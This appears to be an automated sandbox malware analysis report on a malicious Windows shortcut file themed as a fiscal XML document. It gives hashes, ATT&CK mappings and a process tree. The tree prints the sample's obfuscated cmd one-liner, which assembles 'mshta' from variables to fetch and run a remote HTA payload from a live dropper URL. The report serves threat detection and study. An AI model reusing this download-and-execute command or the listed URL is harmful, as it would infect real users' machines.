a4bb4aa3a7103748ccdd5815b2184bcae59095a74fba148ac8bd7d374ffb0296

Analysis

max time kernel
58s
max time network
26s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 12:31

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General

Target
Xml_Fiscal_-R4ER6D.lnk
Size 1KB
Sample260818-pp4vrssdlg
SHA256 a4bb4aa3a7103748ccdd5815b2184bcae59095a74fba148ac8bd7d374ffb0296
MD5 9693d081e8ef116c26eb89be8b9a3494
SHA1 9b40945dce3897081f7bb1d36e301a03c0644a20
SHA512 2e78962e246b1257066965898faa2c997c2a5da46e4e2edbd7d367d7162d2872e41b31606728b3c8910022c96d7ceb316a55e1f2e49fbf20e734e81ed8a303f7
TLSH
T1243147102EF90694F2F38E7784BB671089BAB8658E20C61E4040464C5472E05EA7BFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5996	cmd.exe
2976	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5996 wrote to memory of 2976	5996	cmd.exe	90
PID 2976 wrote to memory of 5984	2976	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Xml_Fiscal_-R4ER6D.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5996
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set zcK=msh&&set ULaFe=ta&&start "" !zcK!!ULaFe! https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2976
- - C:\Windows\System32\mshta.exe
    mshta https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88
    3⤵
    PID:5984

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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